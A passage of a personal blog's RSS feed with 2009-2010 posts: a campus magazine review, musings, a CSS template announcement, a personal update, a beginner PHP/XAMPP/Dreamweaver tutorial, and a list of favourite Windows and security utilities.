decision). I can just hope that you actually asked some persons to
create those pie charts. Dr. Sinhval seems to have taken his time in
answering the questions, and his reply is full of facts, explanations,
and ideas. Nice work by the ed team here, definitely.</p>

<p>Other than the articles there are a few more areas of interest I would
like to point out.</p>

<p><strong>Design:</strong> Seriously, have you people ever heard of vector graphics.
Your designers really need a course on making scalable graphics. The
need for Darth Vader to illustrate an article is fine, as long as you
have a big enough image to fit. Trying to scale a 400×300 jpg into a
page will not do. Even the cafe de norma ad was pixellated. The girl
wearing Prada proves that it was possible to pring clearer graphics .
However on the very next page, there’s an overdose of black. Similarly
pixellated were most of the other pics on the mag. The 3 monkeys
illustrating the second last page could have been something better. The
essence of the German flag was lost in black &amp; white(Almost Famous) .
And just so you know that everyone noticed , dark colored pics in the
background make text unreadable (Chrome OS).</p>

<p><strong>Ads :</strong> I don’t know the reasons behind it, but from a reader’s point
of view, an issue with only 3 ads is really awesome. Especially once you
compare it with Kshitiz’s latest issue. I know it must have been really
hard to cover the costs, and manage the finances and all that. But folks
over here are smiling for your hard work. You finally published it
(albeit 3 months late), and that’s what matters.</p>

<p><strong>Placement :</strong> could have been better. Some articles should have gotton
more coverage than given. Perhaps you should think of making Tech-ila
bigger. I would’nt have minded the least if Verbatim had gotten a bit
larger. The ethics article was divided into portions, I couldn’t
understand, and might have done with fewer sections.</p>

<p><strong>Cover :</strong> A little side note as to why the article change from the
cover to the article itself. Isn’t the cover supposed to hold titles as
well. On second thoughts, I might be wrong to suggest your current
layout, but can you just put up page numbers! They would surely help.</p>

<p>And finally a note from my side : Wona is an excellent magazine. Despite
it having a status quo of its own on its supposed unreadability without
an excellent understanding of wona’s inner sanctum, I believe that the
magazine is an essential part of life at iitr. It is one of the few
sections in our campus, whose work is actually a part of our daily life.
Thanks to the entire team for working so hard on this issue.</p>

<p>This review is my way of letting you know that there are people who care
about what you write. There are people who wait for the issue, and who
are determined to do so till they pass out. Consider it a friendly nudge
and a little feedback from my side. Its up to you decide what your mag
is after all. With hopes that the next issue is even better than this
one</p>

<p><em><strong>Update</strong>:</em> Friends over at wona inform me that the delay in the mag
was due to an issue on the administration’s side rather than wona’s
side. If that was the case, the blame’s partially on your staff advisors
(spelled incorrectly in the mag’s first page) : Dr. M.J. Nigam, and Dr.
B.R.Gurjar. I’m still not sympathatic to the excuse given entirely, and
believe that it might have come out a bit more sooner with some more
effort on wona’s side.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Random Stray Thoughts]]></title>
            <link>https://captnemo.in/blog/2010/05/25/what-the-hell-is-this/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2010/05/25/what-the-hell-is-this/</guid>
            <pubDate>Tue, 25 May 2010 00:00:00 GMT</pubDate>
            <description><![CDATA[[Editor’s note: I found this scrawled across a a4 sheet in a classroom. The author drifts off way too much from his thinking to make any sense, but there were some things that I really liked. So I present them to you, unedited, random, and unexplainable thoughts of a genius. My comments are in brackets]
Sometimes you are just destined to be where you are. You may try to veer off course, try to change it. But the end remains the same.
You.Here.Now
The forces of Destiny seem too powerful to be stopped by you. So you keep on flowing. Further & further away.
And time moves on
And its Now already.
Looking back at the choices you made, the crossroads you stood. The coincidences, accidents pile up and as you remember them you think - would you have chosen otherwise?
But regardless of your answer you’d still be here, Now.
And its only left to deal with the Now.
[Note: Now the author takes a swipe at history. lol]
Ever since mankind learned to reason, the challenge had always been to tackle the Now. For tomorrow was forever being planned, partly in our own dreams, and partly in the garden of Destiny
As of the Past, it was just a multitude of feelings, a vault to choose from - Happy, sad, heartbreaking, exciting memories, remembrances, last words. The Past always walks besides us - sometimes haunting, crippling us down, and at times uplifting, encouraging, & maybe even expecting.
And so the challenge remains the the Now. What do you do with it? Go ahead and battle it head on - as you’ve been asked to, regardless of the consequences?
For herein lies the path to greatness, the say - Keep Fighting. But is it the only path?
[Note: Here on the author seems to get drifted far too much in his own thoughts, and does not care to explain very much. As a result much of the following is pretty self contradictory, and maybe even rubbish]
What if there is another road. A road much less taken as Frost said. A road you know nothing about.
What if the present is not a choice? What if it is just a sequence of events to be played out from someone’s memories, where you just play your part, and in-spite of what road you choose, you end up where you must.
So you fight. And think. And fight with the Present [As if the present is a monster, you fool], believing that the Future can be changed, it can be manipulated, morphed into someone’s likeness.
Your head starts to pound with the effort. You decide to stop thinking. [Ahh. Finally, I was wondering how long I would have to keep up]
Its clearing your head.
Then you look around you. [Reality, anyone?]
The Present closes in [Not again!!] You realize its not there to be defeated, or to win either.
It just is.
Just as you are.
And you close your eyes again.
You start to think.
[I like the ending]]]></description>
            <content:encoded><![CDATA[<p>[Editor’s note: I found this scrawled across a a4 sheet in a classroom. The author drifts off way too much from his thinking to make any sense, but there were some things that I really liked. So I present them to you, unedited, random, and unexplainable thoughts of a genius. My comments are in brackets]</p>

<p>Sometimes you are just destined to be where you are. You may try to veer off course, try to change it. But the end remains the same.</p>

<p>You.Here.Now</p>

<p>The forces of Destiny seem too powerful to be stopped by you. So you keep on flowing. Further &amp; further away.</p>

<p>And time moves on
And its Now already.</p>

<p>Looking back at the choices you made, the crossroads you stood. The coincidences, accidents pile up and as you remember them you think - would you have chosen otherwise?</p>

<p>But regardless of your answer you’d still be here, Now.</p>

<p>And its only left to deal with the Now.</p>

<p>[Note: Now the author takes a swipe at history. lol]</p>

<p>Ever since mankind learned to reason, the challenge had always been to tackle the Now. For tomorrow was forever being planned, partly in our own dreams, and partly in the garden of Destiny</p>

<p>As of the Past, it was just a multitude of feelings, a vault to choose from - Happy, sad, heartbreaking, exciting memories, remembrances, last words. The Past always walks besides us - sometimes haunting, crippling us down, and at times uplifting, encouraging, &amp; maybe even expecting.</p>

<p>And so the challenge remains the the Now. What do you do with it? Go ahead and battle it head on - as you’ve been asked to, regardless of the consequences?</p>

<p>For herein lies the path to greatness, the say - Keep Fighting. But is it the only path?</p>

<p>[Note: Here on the author seems to get drifted far too much in his own thoughts, and does not care to explain very much. As a result much of the following is pretty self contradictory, and maybe even rubbish]</p>

<p>What if there is another road. A road much less taken as Frost said. A road you know nothing about.</p>

<p>What if the present is not a choice? What if it is just a sequence of events to be played out from someone’s memories, where you just play your part, and in-spite of what road you choose, you end up where you must.</p>

<p>So you fight. And think. And fight with the Present [As if the present is a monster, you fool], believing that the Future can be changed, it can be manipulated, morphed into someone’s likeness.</p>

<p>Your head starts to pound with the effort. You decide to stop thinking. [Ahh. Finally, I was wondering how long I would have to keep up]</p>

<p>Its clearing your head.
Then you look around you. [Reality, anyone?]
The Present closes in [Not again!!] You realize its not there to be defeated, or to win either.
It just is.
Just as you are.
And you close your eyes again.</p>

<p>You start to think.</p>

<p>[I like the ending]</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Worries Css Template]]></title>
            <link>https://captnemo.in/blog/2010/04/15/worries-css-template/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2010/04/15/worries-css-template/</guid>
            <pubDate>Thu, 15 Apr 2010 00:00:00 GMT</pubDate>
            <description><![CDATA[Finally, from being a complete programmer to a designer as well, who can create a css template using Paint.Net. Photoshop is way too outlandish for me, you see. It wasn't easy, but it was definately fun. The template was based on a wallpaper by http://leon-gao.deviantart.com. The final template is still unnamed. Hope you all like it, and there is a demo available at http://nemo.criitique.in/worries . [caption id="attachment_55" align="alignleft" width="300" caption="Worries Template"][/caption]]]></description>
            <content:encoded><![CDATA[Finally, from being a complete programmer to a designer as well, who can create a css template using Paint.Net. Photoshop is way too outlandish for me, you see. It wasn't easy, but it was definately fun. The template was based on a wallpaper by http://leon-gao.deviantart.com. The final template is still unnamed. Hope you all like it, and there is a demo available at http://nemo.criitique.in/worries . [caption id="attachment_55" align="alignleft" width="300" caption="Worries Template"]<a href="http://captn3m0.files.wordpress.com/2010/04/simple2.png"><img src="http://captn3m0.files.wordpress.com/2010/04/simple2.png?w=300" alt="Template" title="Worries Template" width="300" height="208" class="size-medium wp-image-55" /></a>[/caption]
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[What's Sailing]]></title>
            <link>https://captnemo.in/blog/2010/03/23/whats-sailing/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2010/03/23/whats-sailing/</guid>
            <pubDate>Tue, 23 Mar 2010 00:00:00 GMT</pubDate>
            <description><![CDATA[Aboard The Nautilus, that is
I finally decided to write a blog post for my non geek friends with affiliations ranging from DPs to BPs and the oblivious to all, but the elite few, GPs (Keep thinking, non_IITians). In midst of all the chapos, and ghissai(not me, of course), Nautilus has been, and will remain a lonely submarine beneath the ocean. And this has been the way for me in the past month. After a hefty piece of time where we were attacked by the mighty INS Cognizance (actually it was a retariation attack, because you see, Nautilus had won an event of theirs, a treasure hunt, and the mighty Cognizance, and the event organizers deemed the methods of my winning to be dishonest. (I had my reasons). But after that a hefty war at the seas resumed. I, had the luxury to dip underneath and avoid everything, once in a while. But rumours surrounded me, and I started to hear all sorts of things about me. And that is when the drama settled once and for all.(It ended with a 5k fine, if you need to know).
INS Cognizance is on its way for the end of its journey(Join it @ www.cognizance.org.in and 26-30 Mar, IITR). However I shall be busy participating somewhere else, Chaos ‘10, India’s largest gaming extravaganza. I have assured INS Cognizance that Nautilus shall no longer be troubling them, but who knows with such waters, a collision may be unavoidable in the near future. And when that happens, I’m taking my warheads with me, just in case.
In other news, I have been working on a couple of my own ideas, such as SMAC-I (Search Music Across Channel I), a Video Portal for Cinematography Section, IITRAANA.org, Counter Strike servers, the Intra Bhawan Gaming Tourney (which we won easily enough in AoE, NFS, as well as CS). Congrats to my clan mates. The net connectivity has been terrible here, and I’ve been derailed a few times along my route to Gmail.  Among other news, Oh, and I won the second prize in srishti’s dynamic website design, for LION- my twitter clone. I may or may not launch it, because you see, its just another clone. I also put up a new design for Criitique.in. Please check it out, and comment. I also posted a lot of pics and designs in Kriti , the DeviantArt clone for IITR. Check them as well.
For those outside IITR, the link for my web presence is http://nemo.criitique.in.
Here are some final few words in parting to all my frnds @ IITR
@[Ex!$TeN$n3] - gl hf, gg :)
And special thanks to DR. Lecter, General Hendrix for making the legend of Capt. Nemo a reality. If you ever need assistance in a cross atlantic trip, let me know. I may ship you till atlantis, after which you are responsible for yourself and your belongings :)]]></description>
            <content:encoded><![CDATA[<p><strong>Aboard The Nautilus, that is</strong></p>

<p>I finally decided to write a blog post for my non geek friends with affiliations ranging from DPs to BPs and the oblivious to all, but the elite few, GPs (Keep thinking, non_IITians). In midst of all the chapos, and ghissai(not me, of course), Nautilus has been, and will remain a lonely submarine beneath the ocean. And this has been the way for me in the past month. After a hefty piece of time where we were attacked by the mighty INS Cognizance (actually it was a retariation attack, because you see, Nautilus had won an event of theirs, a treasure hunt, and the mighty Cognizance, and the event organizers deemed the methods of my winning to be dishonest. (I had my reasons). But after that a hefty war at the seas resumed. I, had the luxury to dip underneath and avoid everything, once in a while. But rumours surrounded me, and I started to hear all sorts of things about me. And that is when the drama settled once and for all.(It ended with a 5k fine, if you need to know).</p>

<p>INS Cognizance is on its way for the end of its journey(Join it @ www.cognizance.org.in and 26-30 Mar, IITR). However I shall be busy participating somewhere else, Chaos ‘10, India’s largest gaming extravaganza. I have assured INS Cognizance that Nautilus shall no longer be troubling them, but who knows with such waters, a collision may be unavoidable in the near future. And when that happens, I’m taking my warheads with me, just in case.</p>

<p>In other news, I have been working on a couple of my own ideas, such as SMAC-I (Search Music Across Channel I), a Video Portal for Cinematography Section, IITRAANA.org, Counter Strike servers, the Intra Bhawan Gaming Tourney (which we won easily enough in AoE, NFS, as well as CS). Congrats to my clan mates. The net connectivity has been terrible here, and I’ve been derailed a few times along my route to Gmail.  Among other news, Oh, and I won the second prize in srishti’s dynamic website design, for LION- my twitter clone. I may or may not launch it, because you see, its just another clone. I also put up a new design for Criitique.in. Please check it out, and comment. I also posted a lot of pics and designs in Kriti , the DeviantArt clone for IITR. Check them as well.</p>

<p>For those outside IITR, the link for my web presence is http://nemo.criitique.in.</p>

<p>Here are some final few words in parting to all my frnds @ IITR</p>

<p>@[Ex!$TeN$n3] - gl hf, gg :)<br />
@LxG - 14,11<br />
@alpha_Q - Better Luck Next Time<br />
@17ninJa - Practice For Chaos<br />
@bOb - fnatic lost to na’vi 2-0 (16-14, 16-13 in train, infy !)<br />
@roomie - [insert silence here]<br />
@xerxes,forsaken - nice team<br />
@DArK_LOrD - i expected better<br />
@Dead_Man - Welcome to LxG<br />
@ll those I frGT - [Proxy laga dena plz]</p>

<p>And special thanks to DR. Lecter, General Hendrix for making the legend of Capt. Nemo a reality. If you ever need assistance in a cross atlantic trip, let me know. I may ship you till atlantis, after which you are responsible for yourself and your belongings :)</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Learning PHP/mySQL Part 1]]></title>
            <link>https://captnemo.in/blog/2010/02/20/learning-phpmysql-part-1/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2010/02/20/learning-phpmysql-part-1/</guid>
            <pubDate>Sat, 20 Feb 2010 00:00:00 GMT</pubDate>
            <description><![CDATA[Over the past 2 months, I’ve been learning PHP/mySQL as a great language. After helping out a lot of people, I’ve decided to write a tutorial on using PHP/mySQL to create a cool website. For the entire duration of this tutorial, this is the list of softwares we will be working with:
XAMPP Server Lite version (to get apache & mySQL)
Dreamweaver CS4 (For Template Support). Alternatively use Microsoft Expression Web 3.
Notepad++ (Its a cool editor)
PHP Manual (download the full html version)
The website we will be developing is called Artemis Fowl Files (AFF for short). It is a small website with several features that we shall develop over the length of the tutorial.
Installing PHP & mySQL using XAMPP
PHP is a server side scripting language. Which means that PHP is run on the web server itself. For example any PHP script running at Google.com will remain on the server, and not reach you (the client). By contrast, JavaScript runs on the client side, i.e. any JS code must be transmitted to the client before being executed.
This is how a basic PHP script actually runs:
PHP source File –> PHP Parser (running on the web server) –> Becomes an HTML file –> HTML File sent to Client
Which means that the PHP source file is run on the server, which converts the file to a pre-calculated html file, which is then sent to the client. Lets write some basic php coding.

1:  <HTML>
2:  <HEAD><TITLE>Sample PHP File</TITLE></HEAD>
3:  <BODY>
4:  <?php
5:  echo "This is a sample PHP File";
6:  ?>
7:  </BODY>
8:  </HTML>


The basic context of PHP is that the only code that is considered PHP is that covered between <?PHP and ?> blocks. Anything outside these is neglected and remains the same(i.e. it is not run on the server). The echo command sends the text string to the html file. All this means that the file received by the client will look like this:

1:  <HTML><HEAD><TITLE>Sample PHP File</TITLE></HEAD>
2:  <BODY>
3:  This is a sample PHP File
4:  </BODY>
5:  </HTML>


This is what you will  get if you ran the script on a test server. But before doing that we must install XAMPP, and do some basic setup stuff.
Download, and Extract XAMPPlite.exe anywhere in your computer. Go to where you installed it and run setup_xampp.bat. This will automatically start the Apache Server, and the mysql Server by default. Also try tinkering with XAMPP-Control and see what runs it.
Now open your web browser (Firefox/Chrome is preferred) and open http://127.0.0.1. This IP address is a loopback IP address and always refers to this computer itself (yours). Now you should see a XAMPP splash screen. Go ahead and explore. As of now, what you’ve achieved is this : Installed Apache and the mySQL server. Now we need to change the settings for mysql. Open http://127.0.0.1/security/xamppsecurity.php and change the mysql root password(its blank by default). Also set a password on the xampp directory, so that others cant access these settings. Remember the mysql root password, for it will be useful later on.
Now comes the part where we actually sit down to write some code. We will be developing the mysql parts in the next segment. However we still need to do some other little things before we reach that part.
Creating The Dreamweaver Template
Now, call me lazy, but I don’t like designing themes, and CSS for my websites. I usually use a free one. And for the rest of this tutorial, I assume you will do the same. We need to create a Dreamweaver website using a readymade CSS Template. To get a template head on to http://www.freecsstemplates.org. I choose this template. Feel free to choose anything. It does not really matter which, but take care not to download a three column template, because what we will be developing is quite basic.
Create a directory called artemis inside htdocs folder(found inside xampp). Extract the css template files to the artemis folder such that the index.html file is inside xampp\artemis . Now head to your browser and open http://127.0.0.1/artemis.
If all went well, you should now see the template theme. Now we must convert this css template into a Dreamweaver template. Open the index.html file in  Dreamweaver. We have to mark certain areas that we intend to edit in each document as editable. For instance the top header in each document must remain the same and would not be editable. But the sidebar content may need to change as per each page on our site. Taking this further the footer will be the same for each page. To create an editable region, just select a sample text from the main text (the one on that looks like the blog entry) and right click –>Templates->Create Editable Region.
Dreamweaver will give a warning that the current document will be converted to a template. That is what we want. Give a name to the region(lets call it ‘main’). Now delete everything other than this main region from the right column(ie the blog entry column. You may need to switch to the split view to cleanly delete the html markup.
Similarly create another editable region for the sidebar. Remember to delete everything else in the sidebar as well. Now there is something to Dreamweaver which requires you to create a “site” before you can create a template. So go to Site Menu and click on New Site. Choose a site name (Artemis) and enter the correct web address where you can access index.html (http://127.0.0.1/artemis or http://localhost/artemis). Tell Dreamweaver that you want to use a server technology (PHP mySQL). Choose edit and test locally(because we don’t yet have access to an external web server).
Once you’ve created a site, you can save the web template. (Ctrl S). Currently no templates exist in our web site, So we will create one and call it “main template”. If Dreamweaver asks you to update links, press yes.
Now we will create our basic home page using this template. Press Ctrl+N to create a new page. On the left choose “Page from Template”, Choose the site as Artemis, and the template as well. Press Create, and viola, we have our homepage. You may see that the heading, footer, and links are not changeable, because they’re not defined as “editable” in the template. However the regions you choose to be editable are marked as such. Try writing some basic text in the sidebar and in the main content screen, and then save the file as index.php.
Now open http://127.0.0.1/artemis/ in your computer, and be greeted with your newest creation. It’ is still, as of now, a static site, with links that don’t work and no dynamism, but we will make it better in the next part.
If you had trouble following this tutorial anywhere feel free to post comments, or tweet me @captn3m0. I will be happy to reply. Further if you feel that you missed something, here is my work for you to compare with:
//#todo add link to zip file here]]></description>
            <content:encoded><![CDATA[<p>Over the past 2 months, I’ve been learning PHP/mySQL as a great language. After helping out a lot of people, I’ve decided to write a tutorial on using PHP/mySQL to create a cool website. For the entire duration of this tutorial, this is the list of softwares we will be working with:</p>

<blockquote>
  <p><a href="http://www.google.com/search?btnI=I'm Feeling Lucky&amp;q=XAMPP Server Lite version">XAMPP Server Lite version</a> (to get apache &amp; mySQL)
<a href="http://www.mediafire.com/?4eemynbynjw" target="_blank">Dreamweaver CS4</a> (For Template Support). Alternatively use <a href="http://www.google.com/search?btnI=I'm Feeling Lucky&amp;q=Microsoft Expression Web 3">Microsoft Expression Web 3</a>.
<a href="http://www.google.com/search?btnI=I'm Feeling Lucky&amp;q=Notepad++">Notepad++</a> (Its a cool editor)
<a href="http://www.google.com/search?btnI=I'm Feeling Lucky&amp;q=PHP Manual">PHP Manual</a> (download the full html version)</p>
</blockquote>

<p>The website we will be developing is called Artemis Fowl Files (AFF for short). It is a small website with several features that we shall develop over the length of the tutorial.</p>

<h2 id="installing-php--mysql-using-xampp">Installing PHP &amp; mySQL using XAMPP</h2>

<p>PHP is a server side scripting language. Which means that PHP is run on the web server itself. For example any PHP script running at Google.com will remain on the server, and not reach you (the client). By contrast, JavaScript runs on the client side, i.e. any JS code must be transmitted to the client before being executed.</p>

<p>This is how a basic PHP script actually runs:</p>

<blockquote>
  <p>PHP source File –&gt; PHP Parser (running on the web server) –&gt; Becomes an HTML file –&gt; HTML File sent to Client</p>
</blockquote>

<p>Which means that the PHP source file is run on the server, which converts the file to a pre-calculated html file, which is then sent to the client. Lets write some basic php coding.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1:  &lt;HTML&gt;
2:  &lt;HEAD&gt;&lt;TITLE&gt;Sample PHP File&lt;/TITLE&gt;&lt;/HEAD&gt;
3:  &lt;BODY&gt;
4:  &lt;?php
5:  echo "This is a sample PHP File";
6:  ?&gt;
7:  &lt;/BODY&gt;
8:  &lt;/HTML&gt;
</code></pre></div></div>

<p>The basic context of PHP is that the only code that is considered PHP is that covered between &lt;?PHP and ?&gt; blocks. Anything outside these is neglected and remains the same(i.e. it is not run on the server). The echo command sends the text string to the html file. All this means that the file received by the client will look like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1:  &lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;Sample PHP File&lt;/TITLE&gt;&lt;/HEAD&gt;
2:  &lt;BODY&gt;
3:  This is a sample PHP File
4:  &lt;/BODY&gt;
5:  &lt;/HTML&gt;
</code></pre></div></div>

<p>This is what you will  get if you ran the script on a test server. But before doing that we must install XAMPP, and do some basic setup stuff.</p>

<p>Download, and Extract XAMPPlite.exe anywhere in your computer. Go to where you installed it and run setup_xampp.bat. This will automatically start the Apache Server, and the mysql Server by default. Also try tinkering with XAMPP-Control and see what runs it.</p>

<p>Now open your web browser (Firefox/Chrome is preferred) and open <a href="http://127.0.0.1">http://127.0.0.1</a>. This IP address is a loopback IP address and always refers to this computer itself (yours). Now you should see a XAMPP splash screen. Go ahead and explore. As of now, what you’ve achieved is this : Installed Apache and the mySQL server. Now we need to change the settings for mysql. Open <a href="http://127.0.0.1/security/xamppsecurity.php">http://127.0.0.1/security/xamppsecurity.php</a> and change the mysql root password(its blank by default). Also set a password on the xampp directory, so that others cant access these settings. Remember the mysql root password, for it will be useful later on.</p>

<p>Now comes the part where we actually sit down to write some code. We will be developing the mysql parts in the next segment. However we still need to do some other little things before we reach that part.</p>

<h2 id="creating-the-dreamweaver-template">Creating The Dreamweaver Template</h2>

<p>Now, call me lazy, but I don’t like designing themes, and CSS for my websites. I usually use a free one. And for the rest of this tutorial, I assume you will do the same. We need to create a Dreamweaver website using a readymade CSS Template. To get a template head on to <a href="http://www.freecsstemplates.org">http://www.freecsstemplates.org</a>. I choose <a href="http://www.freecsstemplates.org/preview/reckoning" target="_blank">this</a> template. Feel free to choose anything. It does not really matter which, but take care not to download a three column template, because what we will be developing is quite basic.</p>

<p>Create a directory called artemis inside htdocs folder(found inside xampp). Extract the css template files to the artemis folder such that the index.html file is inside xampp\artemis . Now head to your browser and open <a href="http://127.0.0.1/artemis">http://127.0.0.1/artemis</a>.</p>

<p>If all went well, you should now see the template theme. Now we must convert this css template into a Dreamweaver template. Open the index.html file in  Dreamweaver. We have to mark certain areas that we intend to edit in each document as editable. For instance the top header in each document must remain the same and would not be editable. But the sidebar content may need to change as per each page on our site. Taking this further the footer will be the same for each page. To create an editable region, just select a sample text from the main text (the one on that looks like the blog entry) and right click –&gt;Templates-&gt;Create Editable Region.</p>

<p>Dreamweaver will give a warning that the current document will be converted to a template. That is what we want. Give a name to the region(lets call it ‘main’). Now delete everything other than this main region from the right column(ie the blog entry column. You may need to switch to the split view to cleanly delete the html markup.</p>

<p>Similarly create another editable region for the sidebar. Remember to delete everything else in the sidebar as well. Now there is something to Dreamweaver which requires you to create a “site” before you can create a template. So go to Site Menu and click on New Site. Choose a site name (Artemis) and enter the correct web address where you can access index.html (<a href="http://127.0.0.1/artemis">http://127.0.0.1/artemis</a> or <a href="http://localhost/artemis">http://localhost/artemis</a>). Tell Dreamweaver that you want to use a server technology (PHP mySQL). Choose edit and test locally(because we don’t yet have access to an external web server).</p>

<p>Once you’ve created a site, you can save the web template. (Ctrl S). Currently no templates exist in our web site, So we will create one and call it “main template”. If Dreamweaver asks you to update links, press yes.</p>

<p>Now we will create our basic home page using this template. Press Ctrl+N to create a new page. On the left choose “Page from Template”, Choose the site as Artemis, and the template as well. Press Create, and viola, we have our homepage. You may see that the heading, footer, and links are not changeable, because they’re not defined as “editable” in the template. However the regions you choose to be editable are marked as such. Try writing some basic text in the sidebar and in the main content screen, and then save the file as index.php.</p>

<p>Now open <a href="http://127.0.0.1/artemis/">http://127.0.0.1/artemis/</a> in your computer, and be greeted with your newest creation. It’ is still, as of now, a static site, with links that don’t work and no dynamism, but we will make it better in the next part.</p>

<p>If you had trouble following this tutorial anywhere feel free to post comments, or tweet me @captn3m0. I will be happy to reply. Further if you feel that you missed something, here is my work for you to compare with:</p>

<p>//#todo add link to zip file here</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Nautilus : Behind The Curtains]]></title>
            <link>https://captnemo.in/blog/2009/12/04/nautilus-behind-the-curtains/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2009/12/04/nautilus-behind-the-curtains/</guid>
            <pubDate>Fri, 04 Dec 2009 00:00:00 GMT</pubDate>
            <description><![CDATA[Almost everyone looks at my laptop’s screen, and asks me “is that Windows 7 ?” and I reply each of them with the same answer “No”. I have not yet moved to 7, because of various reasons, which I am not going to explain over here, but lets just say that I’m still clinging to dear old Vista. I don’t really have much of a trouble with Vista as many people have said. I work blazingly fast with Vista, which is what it is all about. As an operating system, it is expected to help me get my job done, not do everything by itself”. And this is where my software listing comes into view. Since everyone have those “how the heck did you do that?” moments when they look at me doing stuff, I decided to publish a listing of some of my favourite applications that I use so that I may redirect you to safe spot where you may choose things as you like. This listing may not suite your way of working, however you might find a gem or two along the way. This is not a listing of all softwares that I use. Rather just a collection of cool tools that I think every Windows user must be using. If you think you’ve found that killer-app for doing things, do let me know in the comments. I’ll be listening.
**Dell Dock : **I just love this tools and its ability to divide the applications that I use into categories. It doesn’t take much of a screen estate, and takes me where ever I ask it to. With the ability to assign custom icons, and add separators/categories etc, it is more than an average dock, its my favourite dock. On the downside, this is only for Dell Computers, and comes preinstalled. However you can download it from here if you didn’t get it with your dell systems. Non dell users may be interested in RK Launcher, a freeware dock that simulates Mac Dashboard, and does a pretty good job. There was another version of Dell Dock (2.x which has yet to be released on the website, but was available to Dell Studio buyers, with new and better icons. Drop by a comment if you need it.
**Windows Sidebar : **Another tool I find myself using frequently is the Windows Sidebar, with 3-4 gadgets that are absolutely essential to me, such as the NowPlaying, MultiMeter, and the Top Processes gadget. A key shortcut to remember here is Win+Space which pops up my sidebar. Gadgets are a quick way to organize yourself, and keep a check on other things, like you schedule(Date Time), twitter(Twadged), quick launching apps, direct search among other things. Most users underestimate their usage and restrict themselves to the Clock and Slideshow gadget. Go ahead and search for them, see if you can find a gadget that matches what you’d like.
**Quick Launch : **Not many would regard this as a tool, however this gives one a productivity boost. Try putting your favourite tools in the Quick Launch, and see if that helps you a bit, between searching for that app in Start Menu, or clicking it right where its clickable. Also try increasing the size of the Quick Launch, by Unlocking the taskbar, right click->View->Large Icons. That really looks cool!
Internet Download Manager** :**My personal favourite download manager. Others that you may be interested in are : Orbit , DownThemAll! ( a firefox extension). Helps me keep a track on what I’m downloading right now, and speed benefits are downright clear. I also like its feature to capture downloads from any application, so I don’t have to wait for those updates taking forever to download. Downloads using batch files, schedulers, and even turns off your computer when its done.
Everything** : **I should have put this above all in the list. This is such a good tool, I cannot overestimate its importance. What it basically does is searches “Everything”. The tool does not index file contents/properties, and only maintains an index of file names. As such it is blazingly fast, and searches all my applications/music/files damn quick. With an efficient shortcut(such as Win+S), you’re on your way to becoming a windows power user. On the downside, once you start using this real frequently, you tend to get a little disorganized putting stuff everywhere, knowing you will find it with Everything. Here’s a link to the website. (MUST USE)
Browsers : In browsers, I currently use a combination of Google Chrome/Firefox as my primary browser, updated to the latest dev build, and last  stable beta respectively. Both of these are great, and I prefer Firefox with its huge base of extensions available. And if someone is out there using IE still, please switch immediately. Firefox is such a great way to browse with, and Chrome such a ease on the eyes. Its hard for me to pick between the two, I’ll rather wait and watch over the next year, where each one stands. Safari and Opera come a distant second for me with Safari being the better one.
File Tools : I use 7-zip for compression purposes, CCleaner to rid my computer of junk, Defraggler to defragment my hard disk, Recuva from the same company to restore those accidently deleted files.Another tool I would mention here is “GoodSync” which i use to sync my usb drive and my Documents. I also use it to organize my Start Menu, using a Dock folder in my Desktop, which i sync to the Start Menu. Dropbox is the best tool I use for my syncing purposes, between different computers. It offers 2 gb for starters, and all the sync is on the fly, meaning you just copy things to your Dropbox folder, which is automatically synced to all of your computer. It is also a great way to sync your projects with different people.
**Multimedia : **I prefer Windows Media Player 11 for audio, and VLC for video viewing. With my NowPlaying gadget, and GTalk in sync with WMP, its easy to change tracks, and let others know what you’re listening to. I also use Zune occasionally when I’m in the mood of a pure music experience. Pictures are pretty easy to manage with Windows built in Photo Gallery, or its live version. Also check out picasa, google’s free photo management tool.
Office Tools :I am currently using a Technical Preview Beta of Office 2010, for documents,presentations. Notepad++ for text and code editing, Foxit PDF Reader for ebooks, and reading stuff, which is way faster, and smaller than that Bloated Adobe Acrobat Reader. I use Windows Live Writer, which offers a lot of plugins to edit posts, including this one.Offline gmail and Google Docs capability is way cooler than you think. Do try it out
 Anti Virus : This is one of the areas where I am consulted the most. Which antivirus to use? Well I would recommend you Kaspersky if you’re ready to shell out some money with a little slowing down to your system or use “Microsoft Security Essentials” which I currently use. It is quick, doesn’t hog down my system, stops real time protection when i want it to, excludes some of my dangerous folders from being scanned and nuked, updates itself, detects almost any virus I dare to throw at it, and looks neat. On the downside, however it is just minimal, with no support for hosts file scanning, white listing, firewall, cookie management, user control, among other “high level stuff” that other anti viruses offer. But I like it, have been consistently using it for last 3 months, and am pretty sure I’m virus free. It does have a catch : you must own a valid, genuine copy of Windows to use the tool.
Security Tools : Security Tools includes those nifty small programs that help me keep my computer safe, and sound. This listing comprises of tools I would suggest to the average user, I personally use a combination more than the following tools:
AMPAWSmasherX :Stops antiviruses from using your pen drive as a medium, by blocking that autorun.inf file. You might not find the tool easily available for download, but if you do, its a pretty good one.
SpyBot Search & Destroy : This is a one stop protection for all malware. Keep the definitions updated, however, and you will find that infections are pretty easy to deal with.
HiJack This : Must use every 2 weeks or so. Shows you anything that has been changed from normal settings on your computer,and allows you to change it to default. Use carefully, as it may cause instability on your system later on, as it is quite a powerful tool, and if you don’t know what to do, generate your report, and post it online in one of the help forums.
 WinPatrol : This is also a must-use program for securing your computer against anything “unwanted” which may include viruses, malware, additional crapware, fake windows services, hidden files, and the like. This is basically a watchdog(Scotty), which keeps a watch on any new startup programs (my favorite), and file extension changes, and new services and the like. If Scotty detects an unwanted change in your system, it barks and reminds you of the change and asks you if you’d like to keep it. It also allows you to add/remove/delay your startup programs list, and is my favourite program of the lot.
